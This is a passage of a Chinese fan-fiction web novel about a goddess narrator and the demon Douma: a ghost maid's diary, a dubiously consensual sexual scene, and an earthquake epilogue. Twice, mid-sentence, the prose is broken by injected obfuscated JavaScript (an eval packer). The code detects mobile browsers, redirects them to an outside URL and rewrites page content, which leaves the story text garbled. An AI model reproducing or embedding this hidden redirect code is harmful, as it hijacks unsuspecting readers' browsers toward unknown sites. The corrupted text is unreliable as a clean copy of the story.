山田先生不在,我就帮着教团的人整理从东京带来的东西。教主大人基本是把家搬过来了,从衣服到书到熏香烟管那类零七八碎的小物件多到数不胜数,他又一会儿要这个一会儿要那个,导致我一整天什么也没干,光是在寺院的库房和居所之间就跑了几十个来回。 活了两百年也没见过能这么坦然自若地麻烦别人的人,啊不,鬼! 所以当我抱着一堆杂书走过偏殿后面的檐廊、看见那道白色的身影时,还以为是来打扫的信徒。 那是一名二十岁左右的年轻女子,身穿白色的教服,一张白皙清秀的瓜子脸上带着柔和的微笑。她朝我微微点了点头,转身走进了身旁的房间。 房门是用木板封住的,于是我马上意识到,那不是人类,而是一只幽灵。 四下无人,我小心地拆掉封门的木板,轻轻拉开了那道门。 里面是个简单的小房间,仅有一张矮桌和一个书架。幽灵站在书架前,似乎在看着什么东西。我走过去,发现那是几本看上去相当古老的书,纸张都已经发黄变脆,有的地方甚至起了霉,感觉轻轻一碰就会散架。我拿起最上面的一本,刚刚打开,里面便掉出来一样东西。 虽然已经褪成了黄白色,皱缩成小小的一团,我依然认了出来——那是一朵樱花。 这该不会是…? 打开经书,能看到模糊的墨色小字,是以孩童稚气未脱的字迹抄写的《心经》。 果然是那本《心经》吗?竟然在这里!那孩子居然真的保留着我送他的东西吗? 我惊讶地翻了翻那本书,却发现书页间夹着一张稍微厚一点的和纸,上面以细细的笔迹写着: “今日在库房发现了这本经书,教祖大人笑着说是江户那边的巫女小姐送的,能找到真是太好了。看样子是很重要的东西,所以决定帮忙收好。元文初年,二月十八日。” 诶?元文初年…那岂不是近两百年前了? 下面是一册用线钉好的本子,第一页上写着: “今日和母亲正式入教了,虽然感觉有点奇怪,但母亲说为了自杀而死的父亲能进入极乐世界,我们要努力祷告,让神明保佑父亲。以后大概要在这里住下去了吧。开心的是又见到了那孩子,不,现在要叫神子大人了。享保十七年,九月二十日。浅山夕月信女作。” 看来是这位浅山小姐的日志手记。后面几页全是些细碎的小事,看得出这姑娘在努力适应寺院里的生活。 “今日母亲带我去厨房帮忙。神子大人好可怜,清子夫人什么都不让他吃,连点心都不可以。我想去找他放风筝,被母亲骂了。享保十七年,十月十五日。” “今日听说乡下饿死了人,连上方都这样的话,不知道其他地方如何了。神子大人说,人活着就是会遇到各种痛苦的事,只有死后前往极乐世界才能远离世上的一切痛苦。但我觉得在这里心情很平静,一点也不痛苦,连父亲大人的死也渐渐可以理解了。只是家里的店铺就这么被人抢走,还是有点不甘心。享保十七年,十一月三日。” “另,今天那孩子走路没留神撞在了柱子上,只有我看见了,好好笑,原来神子大人也有打瞌睡的时候吗?” 噗。想象了一下那个场面,我感觉脸都要笑掉了。 “新年,寺里打了年糕,在炭炉上烤着吃实在太美味了,想给神子大人尝尝,但母亲又骂了我。享保十八年,一月一日。” 我往后翻了几页,视线停留在享保十八年春天的一篇日志上。 “教祖和清子夫人死了…听母亲说现场很可怕,来报信的阿月都吓昏了。他们过去的时候只有神子大人一个人在,但他不仅没有哭,相反很冷静的指挥大家处理了后事。那孩子…不,现在要叫他教祖大人了,我好担心他,但母亲说不用担心,教祖大人是神明的孩子,神明早就安排好了一切。” “教祖大人好像真的一点也不难过。今早他见到我还问我要不要帮他做点抄经之类的小事,说以后可以让我做他的女侍。我告诉他如果晚上他一个人害怕,我可以睡在外面陪他,但他说他是神明的孩子,神明的孩子不会害怕。他真的好厉害呀。” “午后教祖大人有点发热,果然最近还是太辛苦了吧,但他不让我告诉别人,说神明的孩子是不会生病的。我只能偷偷拿了点药给他,希望神明保佑他快点好起来。” “母亲去世了,教团的人帮我安葬了她,教祖大人说母亲已经前往了极乐世界,以后会和我团聚的,所以完全不用伤心。我也正式当上了教祖大人的女侍,教祖大人真的好温柔,总能给人安心的感觉,我总是没法相信他只有九岁。神明的孩子,果然还是和普通小孩不一样吧。” “昨天和阿春他们做了蕨饼,可教祖大人不爱吃,有信徒送来了珍贵的初鲣,他也不喜欢,男孩子这么挑食可不行呀。所以今天我试着做了玉子烧给他,放了砂糖,他居然很喜欢,真是太不容易了!总算发现一件可以为他做的事,我好开心。” “教祖大人长高了好多,衣服都要重新做了。江户那边听说闹了水灾,又是个不太平的年份啊。御茶奉行家的小姐昨天来过了,带来了很多点心,在她走后还是照例分给信徒们了。她总在茶室里抽烟管,还教会了教祖大人,好过分,但教团还要仰仗人家的关照,所以还是希望教祖大人能和公家的人好好相处。” “今天御茶奉行家的小姐又来了,还和教祖大人一起放了风筝。阿春问我什么时候去嫁人,可我真的没有这个打算。我这样的人,不论嫁给什么人,都没法获得幸福吧,不,与其说是我一个人的事,不如说在这种世道,大家都活的很辛苦。我只想好好守护那孩子,只要看到他的笑容就很满足了。” “我不知道世上是不是真的有神明,到现在也无法确定这一点,但如果真的有神明的话,请您一定保佑那孩子,他从小就是个温柔又善良的孩子,帮助过很多的人,只是实在太寂寞了。神啊,请不要让教祖大人这么寂寞地度过一生,请让他也能得到幸福吧。” 日志到这里就结束了。我合上本子,望着面前无法说话的幽灵。 “原来是这样吗?你的心愿,我已经听到了。” “浅山小姐,请放心吧,我会连同你的份一起,好好守护教主大人,一定会让他得到幸福的。” 那名少女眼中含着泪水,深深地鞠了一躬。 “请等一下。”我叫住了正准备离去的幽灵,“不打算再见他一面吗?” “小染,怎么跑到这里来了呀?人家找了你好久…诶?” 童磨站在门口,微微睁大了眼睛。 “你现在应该能看得见吧?这位浅山小姐想见你,她已经完成了心愿,马上要去转世了。”我严肃地说,“好好跟她道别吧,她应该是守护了这里快两百年的时间呢。” 我第一次见到那只厚颜无耻的鬼露出了孩子般无措的表情。 “夕月?真的是夕月吗?你不是早就死了吗?怎么会在这里呀?”他恍然道,“我明白啦!你变成幽灵了呀!你这个笨蛋,那天到底是…” 话音戛然而止,因为那少女的幽灵紧紧地、紧紧地抱住了他。 她无声地笑着,无声地哭着,然后就那样化作了点点白光,消失在空气中。 “夕月是…小时候陪伴我的女侍。说是女侍,其实她也那时只有十四岁左右啦。”鬼放下那本日志,用抱怨的语气说,“啊啊,哪知道她的脑子怎么会这么笨,原来一直都呆在这里吗?真是太可怜了。” “因为她爱着你啊…童磨大人,这份心意难道还不够明确吗?” “诶?这是爱吗?”童磨惊讶地说,“别开玩笑啦,我可是在这间屋子里吃过人的,这么说的话她岂不是全都看见了?诶呀呀,夕月她一定…一定…” 他卡住了,最终轻轻地叹了口气。 “一定…很失望吧。” “我不是她想象中的那个人哦。小琴叶说的对,我…骗了大家。” “我明明什么也感觉不到,却不得不装出一副悲伤的样子。就算是信徒们在我面前哭诉那些悲惨的事,我也只觉得他们的脑子有毛病而已…那些事到底有什么可难过的呢?人类本来就是那么脆弱,说死掉就死掉了,根本没有办法嘛,而且神明才不会来救他们呢。夕月就是被流浪武士杀掉了,我明明已经告诉过她不要管那些人,她就是不听我的劝告,非要追出去给那两个人送药。可就算她死了,我也没有感觉到悲伤,她如果知道真相的话,一定会失望吧…” “她知道哦。” “诶?” 我往前倾了倾身体,认真地看着那只鬼。 “你感觉不到的事,你变成鬼的事,那个女孩子全都知道哦。” “但她从来没有责怪过你。因为真正爱着你的人,是不会在意那些事的,不论你是神明之子还是上弦之贰,爱你的人,爱的只是‘你’而已。” “就算我什么都感觉不到,也没关系嘛?” 童磨没有笑,那双剔透如冰的眼睛只是看着我。 “小染也觉得没关系嘛?你就不担心我的感情全是装出来的吗?” “你感觉不到,那又怎样呢?被你安慰过的人,会记住他们从你这里得到的帮助,会记住你的温柔,对他们来说,这比什么救赎都来的重要。我自己是这样,那位浅山小姐是这样,你庇护过的那些信徒也是这样,这就够了呀。” “至于感情嘛…”我笑着歪歪头,“我早就说过了吧,喜欢你是我自己的事,你如何回应我是你的事,所以完全不用担心哦。我相信童磨大人是能体会到‘感情’这种东西的,只不过可能需要一点时间而已,在那之前,请你随心所欲地、按照自己的意志去生活吧,这是浅山小姐和我,还有所有爱着你的人的愿望,请神明之子一定要听取我们的愿望哦。” 鬼眨了眨眼睛,罕见地没有出声。 “啊,院子里都点灯了,已经这么晚了吗?我们回去吧,虽然你不用睡觉,我可是要学人类的样子按时休息的,否则山田先生他们一定会觉得很奇怪。” 刚刚拉开门,身体却被一双修长的手臂紧紧圈在了怀里。 “我…没有骗过小染哦。” 鬼在我耳畔轻柔地低语。 “没有骗你哦,虽然不知道这个算不算是特别的感觉,但小染真的好温暖,让人家一点也舍不得放手呢。所以…就永远留在我身边吧,毕竟人家是真的…” “真的很讨厌…一个人啊。” 夜风带来睡莲甜美的香气,那一刻我终于明白,两百年来,这极乐寺中的莲池,到底见证过多少寂静的夜晚,多少无声的离别。 “…童磨大人真是笨蛋啊。” 我叹了口气,转过身望着他。 “这种事我不是早就答应过你吗?我可是个神明,神明最重要的就是信守承诺。” “真的吗?” “当然是真的,不信的话你读我的脑子试试看?” 鬼眯起眼睛,重新绽放出无忧无虑的笑颜。 “太好啦,为了庆祝一起在京都度过的第一夜,小染就陪我喝个痛快吧~” “什…不不不要啊!” 接下来的几天,我决定干一件大事。 “鲣节…昆布…甜料酒…好嘞!” “首先是…诶诶诶?” 眼看着火苗从灶台底下窜出来,我手忙脚乱地扔了个水球上去,厨房里呼的腾起一股白烟。 “荒川小姐!您不要紧吧?” 山田先生大惊失色地冲进来,确认没失火后看起来才松了口气。 “您这是…?” “看就知道了啊,我、我在学做料理!” 这实在不是我的错,身为罗斯林咖啡的老板娘,就算让我烤面包也不在话下,但银座的店里都是用的瓦斯炉,我怎么能想到京都的寺庙里,会出现柴灶这种江户时代的东西? 山田先生看了眼我准备的材料,嘴角抽搐了一下。 “请恕我直言…荒川小姐以前,是否从没做过菜?” “嘿嘿,怎么可能!您吃过我烤的司康嘛!” “那个…我说的不是洋食。您如果做过和食的话,至少该知道…清汤里用的鲣节要刨成薄片,而不是切碎吧?但容我问一句,您到底是怎么把这么硬的鲣节切碎的啊?” “当然是用刀切的啊!” “一般的刀可切不动本枯节啊…”山田先生嘀咕,“又要买新菜刀了…” “啊哈哈,是,是这样的吗?” 我,一个神灵,当然…不会做饭。 做人时我最多只会捏个饭团,做神时又不需要吃人类的食物,在地狱里我握的是太刀而不是菜刀…砍人我会,但确确实实对厨房的事一无所知。 真失败啊…传出去的话大概要被笑死。 “还请您替我保密。”我可怜巴巴地哀求山田先生,“就当为了我身为女侍的尊严。” “那个,荒川小姐…请容我说句不敬的话,如果是为了教主大人…您做的这些事其实…毫无意义。” “诶?” 山田先生停了停,似乎在努力寻找合适的措辞。 “您应该知道吧,教主大人是神明之子。” “我知道啊。” “神明之子是不需要人类的食物的。” 我默默放下了菜刀,想听他接下来说什么,他却叹了口气,说道: “我看得出来,荒川小姐虽然深受教主大人重视,但您对万世极乐教的教义并不了解。以前也有过这样的事,有女侍因为接受不了神明的救赎而逃走…别的我不能多言,但荒川小姐还是请尽快…离开这里吧。” 山田先生说罢就要走,我叫住了他。 “您其实全都知道吧?” 山田惊愕地转过头看着我。 “接受救赎的信徒,都是由历任的护教来负责…善后的吧?“ “您是怎么…我明白了,教主大人已经告诉您救赎的真义了,对吗?” 我笑了笑,“首先得感谢您善意的提醒,请放心,身为教主大人的女侍,我对您说的救赎有充分的了解,所以才能得到这份工作嘛。” “看来是我多虑了。”山田先生看起来释然了很多,“不愧是荒川小姐,和普通女人一点也不一样。” “比起这个,我其实更想知道,山田先生是怎么看待这一切的呢?”我问,“您是自愿担任护教的吗?” 山田沉默了一会儿,反问我: “荒川小姐认为,什么是神明?” ”还望您赐教。” “神明是超越了人类的存在,既然如此,便不能以人类眼中的善恶来判断。神明非善非恶,所做的一切只为救赎人类,但人类是可悲的生物,往往理解不了这种救赎的方式。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252379|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的家族是从江户时代开始,就侍奉在教主大人左右的。荒川小姐,在那个年代,普通人能有尊严的活着和死去,其实都是奢侈的事。” “我的祖辈曾目睹过饥荒、火灾、瘟疫,也见证过武士的强取豪夺和庶民的悲惨遭遇,他们在教内的记录中写下过当时那些可怕的景象。” 山田长叹了一声:“荒川小姐,不论您信不信,人类是生而有罪的,所以才会彼此残害,才会在世间制造出那么多的痛苦。正是因为如此,神明之子才会回应信徒们的请求,以一己之身承担了我们的罪孽,拯救我们远离世上的一切痛苦,前往极乐世界,这正是教主大人的慈悲所在。” “教主大人的确是慈悲的,他一向把‘让信徒们获得幸福’作为自己的义务。”我淡淡的说,“但你们…只是将自己无法承受的痛苦和无法改变的事实全都推给他来承担罢了。这不是对神明的供奉,而是亵渎。” 山田似乎对我的话极为震惊,张了张嘴,却说不出话来。 “在我看来,信徒供奉神明,最应该用的,是每日的善行和精进的工作,是自己亲身去帮助受苦的人,不漠视弱者的苦难,不放任作恶者的霸凌,只有每个人都站出来,才能拯救更多的人,因为能给人带来幸福的,只有人自己。” 我微微一笑:“请您带领教众们好好活下去吧,毕竟只有活下去,才能改变自己和他人的未来。需要的话,我可以为你们提供我所能提供的一切帮助,这也是我身为教主大人女侍的职责所在。” “给你,尝尝这个!” 我将那碟看起来形状不怎么好看的菜摆在了檐廊上,双手叉腰得意洋洋地说: “这可是我实验了好几天的成果,绝对好吃!” 童磨端着酒杯,有点惊讶地看着碟子里的东西:“诶呀呀,这是…玉子烧吗?” “是啊,是叫玉子烧吧…”我有点心虚地说,“虽然不太好看,但味道是没问题的,我尝过了…” “很好吃哦~”鬼眯起眼睛,“和小时候夕月做的味道很像呢。” “真的吗真的吗?”我兴奋起来,“我就知道!作为神明,我是无所不能的!区区料理而已,怎么可能难住我哈哈哈哈!” “诶…不过小染为什么忽然要学料理呐?人家又不需要吃这种东西…” “因为挑食是不对的,童磨大人。”我理直气壮地说,“就算是神明,也不该挑食。人类的食物里藏着千万种味道,本来就是世界的缩影,所以要勇于尝试。还有…” 我声音小了一点,“还有人类的女孩子都会给喜欢的人做料理啊,我看你坐在这里喝了快一夜了,就想给你弄个下酒菜来着…” “原来如此。但小染也不算人类的女孩子嘛~” “你这话的意思是说我没有女人味吗?”我瞪着他,“没关系!我可以学!” “啊,这方面你可不太像有天赋的样子哦。” “…闭嘴啊你!” 童磨一只手托着腮,看着莲池对面树木掩映下的屋檐。 “现在看起来,这个院子是真的很小呢。”他轻声说,“那边就是经堂,小时候每天早课前,都是从这里到那边去,所以一睁眼就能看到。” “每天啊,天不亮的时候就要起床了,简直困到不行…母亲就让女侍给我一盆冷水,说那样就能很快清醒。说起来,做鬼以后就没有冷的感觉了,但那时如果赶上冬天,那盆水的感觉,诶呀呀…” “你母亲是个疯子。“我冷然道,“没有那样对待自己孩子的母亲。” “她的确是疯了,但也很可怜哦。光是父亲睡女信徒的事,我都撞见过很多次了,她也一点办法都没有,毕竟那时女人又不能提出离婚嘛。所以私下里她经常会跪在我面前,求神明给她一点指引,告诉她该怎么办,说她简直要受不了了…我没办法,就只能顺着她的话说,告诉她神明说了,一切都会好起来的,父亲会回到她身边的。毕竟我也不想让她失望呀。” “不过最后嘛…还是没能好起来。她在经堂里逮到父亲和女人私会,就用刀捅死了他,又服了毒,血弄到满地都是,连神坛上都是,那个味道…光是通风就用了好几天呢。对了,就是在那件事之后,我就真的什么也感觉不到了,之前在江户见到白姬小姐时,明明还是有一点感觉来着。” “他们死倒是死的干脆,我还要处理留下来的一大堆后事,还要跟信徒解释,就说这是神明的意志。但世上哪来的神明呢?就连母亲自己,也未必真的相信神明能帮她吧。” 童磨的嘴角弯出一个讥讽的弧度。 “现在想想就觉得好可笑呀。我在他们眼里到底算什么呢?如果他们真的相信我是神明的孩子,就不会各自做出那样的事吧?如果他们不相信的话,又为什么要建立万世极乐教这么无聊的宗教,把我摆在这个位置上呢?” “他们…只是自私罢了。” 我望着水中闭合的睡莲,它们在夏末秋初的风里微微摇摆,有青蛙跳进水中,荡起小小的涟漪。 “人类的本性就是自私的,父母对子女,也未必都充满了无私的爱。就像我曾经是人类时,母亲为了她自己在家中的地位而舍弃了我,明知道被送进神社只是充当祭品,她也只是哭闹了一通而已。而我那位父亲大人…呵呵,我只是他眼里的不祥之物罢了。” “但我一直相信,总有一天,我们能摆脱生来既定的命运,拥有属于自己的人生。童磨大人也一样,在我眼里,什么信徒什么救赎,人类也好,鬼也好,都没有你来的重要,你在我心里是最重要的,所以我只对你的幸福负责,别人怎么想,和我没一点关系。” “诶?真的吗?我在小染心里是最重要的?”鬼忽然不怀好意地笑起来,重复了一遍我的话,“是最~重~要的吗?” “当然啦!”我奇怪地看着他,“这话有什么问题吗?” “那只要是能让人家觉得幸福的事,小染都会做,对吗?” “对啊…等等,你…你要干嘛?” 我盯着笑眯眯地凑过来的鬼,有种不祥的预感。 “当然是做幸福的事啦~小染答应我的奖励,可还没有兑现哦?” 我松了口气,把衣领往旁边扯了扯,“我以为是什么事呢…咬吧。” 鬼眨了眨眼睛。 “诶呀呀…我的神明大人,你该不会是真的…什么都不懂吧?” “什么不懂?你让我懂什么?”我莫名其妙地说,“不是要我的血吗?哦,胳膊也可以,你愿意吃就吃吧,反正我能再生。” “算了算了,不懂也没关系,人家可以教你啦~” 鬼的语气在轻快中透着一丝诡异,“首先,把眼睛闭上。” “诶?什么嘛,不就是咬一口吗,我又不会怕!” “闭上眼睛啦,今天是很特别的吃法哦~” “…哦哦,好的。然后呢?” 耳边突然安静下来,一只冰冷的手扯开了我的领口,从耳后和脖子的一侧轻轻滑进了浴衣的内侧。 柔软的丝绸发出簌簌的声音,皮肤忽然暴露在空气中,甚至可以感受到莲池那里飘来的湿润气息。鬼像是拆开了什么期待已久的礼物,声音中带着慵懒而靡艳的欢愉。 “小染啊,有人告诉过你,你真的很漂亮嘛?” “我…” 冰凉的指尖在我的皮肤上游走,像是羽毛落在无波的水面上,我的呼吸莫名急促起来。 “我…” 身体在发热,奇怪,明明他的手是那么冷,经过的地方却发起烫来,好像烈火经过了荒原。 “多么漂亮的身体呀,看起来就很好吃哦~” “你要咬就咬,这样是做什么…啊!” 他真的一口咬了上来,脖颈以下,锁骨以上,尖锐的獠牙贯穿了血肉,鬼用舌尖舔舐着涌出的热血,发出了满足的叹息。 但疼痛只持续了一刻,随着伤口的愈合,换成了另一种奇特的感觉。当我意识到是那只鬼在亲吻我时,心脏开始慌乱的跳动。 连绵而轻柔的吻顺着我的颈侧蔓延开来,直到胸前,直到… 我忍不住扭动了一下,却发现自己好像中了毒,完全动弹不得。 “你到底…要干什么啊?”感觉连呼吸都带了一丝颤抖,我只觉得心脏要跳出来了,“真的好奇怪啊…” “不要动哦,小染。”他的声音柔滑如丝绸,魅惑如妖魔,“会有一点痛,是正常的啦~” “我知道啊,可你解我腰带干什么?” “嘘…都说了今天要换种吃法嘛。听话啦,把腿分开点。” “为什么要把腿…唔!” 口舌之间被深深地攫取,与此同时,另一种从未体会过的疼痛贯穿了整个身体。 我发不出声音,眼睛被捂住,黑暗中却好像炸出了无数花火。 莲花的香气愈加浓郁,似乎是在莲池之上,又像在深深的水下,耳畔像是有白色的水鸟在扑打翅膀,水面和夜色一同破碎成千万片,仿佛祭典上响起的、震撼万物的鼓声。 身体被啃噬,被撕碎,而后重生。是一万次日出和一万次日落,是高空的星辰和破土的新芽,在风中,在雪中,在天国和地狱的交汇中,高唱起一首亘古不变的颂歌。 恍惚间看到了神社后山上的那一树垂枝樱,粉白的花瓣上沾染了点点血红,然而那花开的傲然而绚烂,恰如生命本身。 独属于神明,也独属于恶鬼的生命。 “果然和我想的一样,小染很温暖呢…”鬼在我耳边呢喃,“原来神明的味道这么好呀,真是个惊喜呢~” “下次…下次你还是吃我的胳膊吧…”我咬着牙说,“这个是真的很痛啊!” “诶?真的很痛吗?“ “废话,当然痛啊!” “奇怪了…之前吉原的那些女孩子都没说过会很痛哦?”鬼若有所思地说,“所以到底是什么地方出了问题呐?” “我怎么知道啊,我又没去过吉原!”我终于崩溃的哭了出来,“我再也不要跟你谈恋爱了!” 大正八年的夏末,我在懵懂和疼痛中,成为了另一位神明的祭品。 103. 尾声:未来(上) 大正十二年,初秋。 炭炉上铁壶中的水将开未开,我用长柄木勺舀到碗里,冲开了碧青的茶粉,随着茶筅的搅打,宇治茶的清香在空气中扩散开来,茶碗中浮起了一层绵密的泡沫。 我将茶碗放到那只鬼面前,微笑道:“大人,请。” 雨后初晴的天空中飘荡着一只风筝,微风袭来,送来林间最后的蝉鸣,屋檐下的铜铃铛回应般的发出几声清越的鸣响。京都的寺院里,一年四季都是品茶的良时,秋日在檐廊下喝茶,即可赏枫,又可赏花,更是不可多得的美事。 童磨放下手里的报纸,姿态优雅地捧起茶碗,边心不在焉的说道: “总理大臣死了。” “什么嘛,我还以为你要夸我这茶有千利休的禅风呢。”我瞪了他一眼,“品茶时不要分心。” “抱歉抱歉~忘了小染最近迷上了茶道。”鬼笑眯眯地说,“诶呀,还准备了栗子饼吗?也是你自己做的?” “是应季的栗子做的哦,尝尝看。” “好甜!下次少放点糖啦!” “茶点怎么能不甜啊,不甜的话,就全是茶的苦味了。甜和苦像是世间的悲喜一样交相辉映,这也是茶中的禅意所在。”我咬了口点心,“好吃!刚说什么来着?所以内阁又要换人了?” “那是必然的嘛,经济弄成这样,下台是迟早的事哦。” “你的钱都从市面撤出来了吧?” “早撤出来啦,这种时候买金子才对吧。” 我叹了口气,“神乐坂的店铺还不知道怎么办,又不好意思赶租户走。” 鬼无所谓的笑笑:“那几家店还没有地皮值钱呢,不用管啦。” “山田先生昨天还在电话里说,那个田中议员最近给寺里送来拜帖,说他还有几位同僚想来京都拜见你,我暂时没答应,看你的意思办。” “他们想来就来吧,但没什么意义。”童磨捧着茶碗,抬头看了看那只风筝,“要变天了哦~” 他话音刚落,我忽然感到一阵轻微的晃动。 “地震?” “啊,终于来了吗?” “什么来了?” 那只鬼做了个“嘘”的手势,虹彩的眼睛里闪烁着冰晶似的冷光。 “是天谴哦~” 他微笑道。 “是东京那边吗?这地震可真不小,不行,我要回去一趟。”我站起来,“车钥匙在哪?” 鬼从容地喝了口茶。 “小染,你脑子出毛病了?路都已经断啦。”他不紧不慢地说,“况且还是你告诉我的,人类不值得救赎吧?” “我…” 我一时语塞,最终低下了头。 “可我毕竟…是个神明啊。” “神明也救不了他们哦,”鬼摊摊手,“人家可是一点办法也没有呢。” 是啊,神明也救不了他们,何况我也不受人类的供奉。 神社是神明和人世的纽带,类似于“锚”的作用。如果是得到正式的供奉、定期举行祭礼的神社,神明还可以直接进行神降或者通过显灵做点事情,然而我的荒川神社虽然修好了,却是个没有御神体的空壳,我本来也不打算再让人类祭祀我,自然没法以神降的方式到东京去。 或者… “有办法了!”我在空中画了一道符咒,大声说,“鸣女小姐!请帮忙把我传送到荒川神社去,谢谢啦!” “诶诶?这也太犯规了吧?琵琶小姐可不是小染的眷属呀!”鬼立刻抗议起来,“那人家也要一起…” “不算眷属,我们只是朋友而已。”我在骤然开启的空间通道前得意地笑道,“你给我老实的呆在京都,哪里也不许去!” 我赶到的时候,几乎没认出那是我记忆里的东京。 从江户时代开始,这就是个多灾多难的城市,水灾、火灾、瘟疫轮流上演,但从没见到过如此凄惨的景象。 整个城市化作了一片火海。后来听说是因为地震发生时正赶上做午饭的时间,很多人家里的炭炉翻倒了,引燃了家中的木头和纸张,而这座城市的大多数房子,里面充满了木头和纸。 这火灾的理由很有江户时代的风格,毕竟那时候城下町的长屋也是三天两头的起火,有时候连将军的大奥也难逃一劫。但这次加上地震,造成的结果就完全不一样了。 荒川神社在山上,有我的力量笼罩,倒是完好无损,但从神社向四周看去,场面极其之可怕,就好像是… 就好像是业火地狱降临了人间。 我本能地感到自己应该做点什么,毕竟我是个掌管降雨的神明,但刚刚准备用法术,抬起的手就被一只纤细而洁白的小手按住了。 娇媚的黑发少女出现在我面前,笑的甜美无比。 “啊啦,白姬,你怎么又来了?这次是真的不可以碍我的事哦。毕竟这可是当初和你家那个讨厌的家伙约定好的,是我们合作的条件之一哟。” “伊奘冉尊…”我无奈的低下了头,“您的怨恨必须用这种方式来发泄吗?会死很多人的。” “我的怨恨?白姬,你错了。” 黄泉津女神目光幽深地望着那片一望无际的火海,“这是这座城市、这个国家有史以来所有的怨恨所化成的‘业果’。人类用它们污染了我,造就了地狱,现在我只是将它们如数奉还,还给我这些可爱的、可怜的、朝生暮死的孩子们。” 她伸开双臂,嬉笑着在空中转了个圈:“当然,如果能让那个狗男人和高天原那些看我笑话的混蛋感到痛苦,我就更开心了。但他们显然没有,不相信的话,你就站在这里看着吧,看看哪位神明会来救这些卑微的人类?” “您明知道他们不会来,何必说这样的话?” 伊奘冉尊微笑:“这次就当是教给你作为神明的第一课,白姬,神明都是无情的存在,人类在他们眼中和蝼蚁无异,而人类往往以为只有他们的敌人会遭到天谴,这么想的人简直愚不可及,要知道真正的天谴降临的时候,才不会在意谁是谁呢。” “那这边看来没我什么事了。”我深深的叹了口气,“祝您玩的开心。” 到达极乐寺的时候我松了口气,除了山路上的石头塌了一片,路上裂开了几道缝隙,寺院里什么损失也没有,信徒们全都跪在正殿中祈祷,看到我来了,山田先生直接热泪盈眶。 “荒川小姐,您是怎么进来的啊?” “啊,那当然是…依靠神明庇佑啦。”我厚颜无耻地笑道,“教主大人派我来看看大家,你们都没事吧?” “全靠教主大人庇佑,大家都平安无事!只是阿萤还在学校,不知道怎么样了…” 想到东京那地狱般的景象,我心里凉了半截:“阿萤在城里?我去找她!“ “他们回来了!”外面忽然有人喊道,“是狯岳那孩子!他把阿萤带回来了!” 我冲了出去,看到狯岳冷着脸站在院子里,怀里横抱着那看起来惊魂未定的少女。 “好样的!狯岳!”山田先生大声说,“不愧是我们极乐教的孩子!” 狯岳哼了一声,扭开了头: “我乐意救这蠢女人,和你们有什么关系?别自作多情了。” 这小子,明明脸都红了,还在嘴硬,也真是倔强的要命啊。 “大家没事就好。阿萤,你和山田先生他们待在这里,不许乱跑。”我冲少年点了点头,“狯岳,你跟我来。” “哈?你叫我来就是干这个?” 狯岳站在山路上塌落的巨石旁,不屑地抱着胳膊,“老子凭什么帮你搬石头啊?” “怎么啦?这条路大家出来进去都要走的呀。”我也学他抱着胳膊,“你总不会让女人做这种事吧?” “你是女人吗?别开玩笑了,水神大人,没见过你这么能揍人的女人。” “小狯岳,乐于助人可是我们万世极乐教的信条之一,”我换上了一副真诚的笑容,“要不让教主大人来亲自给你讲讲?” 这招果然管用,就看他咬牙切齿地说, “滚到一边去,小心石头砸死你。” 雷之呼吸·贰之型·稻魂! 堵住山路的巨石在夹着黑色闪电的高速斩击下碎裂成无数碎块,我在一边挥手召唤出一道洪流,将石头碎块一股脑冲下了山谷,然后拍了拍手,山壁上的藤蔓和树枝开始快速生长,很快填补了路上的裂缝。 “这下就安全啦,我们走吧。” “你以后不打算用刀了吗?” 狯岳扛着刀走在我后面,问道。 “开什么玩笑,城里有禁刀令啊。”我说,“再说我的公开身份可是咖啡馆的老板娘,拿把刀像什么样子?你也一样,人类早就开始用洋枪了,不管什么刀都已经落伍啦。” “我知道,可我还是喜欢当剑士。”那少年多少有点垂头丧气,“没想到好不容易回来了,刀法却没用了。” “谁说的,遇到敌人一样有用。我是觉得你还年轻,应该学点新东西。”我向他解释道,“在这点上我倒觉得你追随无惨大人比较好,他接触的西洋技术最多,为人又严格,你跟着他可以成长的很快。” “…你不怕吗?万一我以后站在他那边对付你呢?” “我为什么要怕?我随时欢迎你来打我呀,小狯岳,要不要申请个换位血战?” “真是够了啊,你又不是鬼,怎么学的都是鬼那一套?“ “没办法,谁叫我是鬼的眷属嘛…” 回到东京已经是三天后了。但眼前的场面依然惨不忍睹。 整个东京基本夷为了平地,银座的高楼大厦全都不见了,大地裂开了巨大的缝隙,大火烧过的焦土之上到处都是尸体,废墟中传出了此起彼伏的哀嚎和求救声。然而活下来的人也自顾不暇,市区的自来水管道被震裂了,没有一滴水,河水则浑浊到无法饮用。幸存的人们大多茫然地聚成一群群,似乎完全接受不了眼前的灾难。 烟尘滚滚,城市中弥漫着血肉烧焦的味道,无数黑色的亡魂徘徊在废墟上,它们不知道自己已经死去,还在像活人一样四处游走。 看上去是一副活生生的地狱景象。 入夜,我在坍塌的只剩一半的浅草凌云阁上,看到了那个鬼魅般的男人。 梅红色的双眼居高临下地俯视着这座残破不堪的城市,洋服的风衣在夜风中展开如漆黑的翅膀,鬼之始祖发出了不能自已般的狂笑声,甚至连我的到来,也没能阻止他兴奋至极的大笑。 “白姬小姐,看到了吗?这才是天灾啊!”名为鬼舞辻无惨的男人指着脚下的城市冲我喊道,“那些卑鄙的蝼蚁,我说过让他们把我当成天灾,他们偏偏要打着那些虚伪至极的名头和我过不去,这下他们该怎么办呢?嗯?他们该去责怪谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252380|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 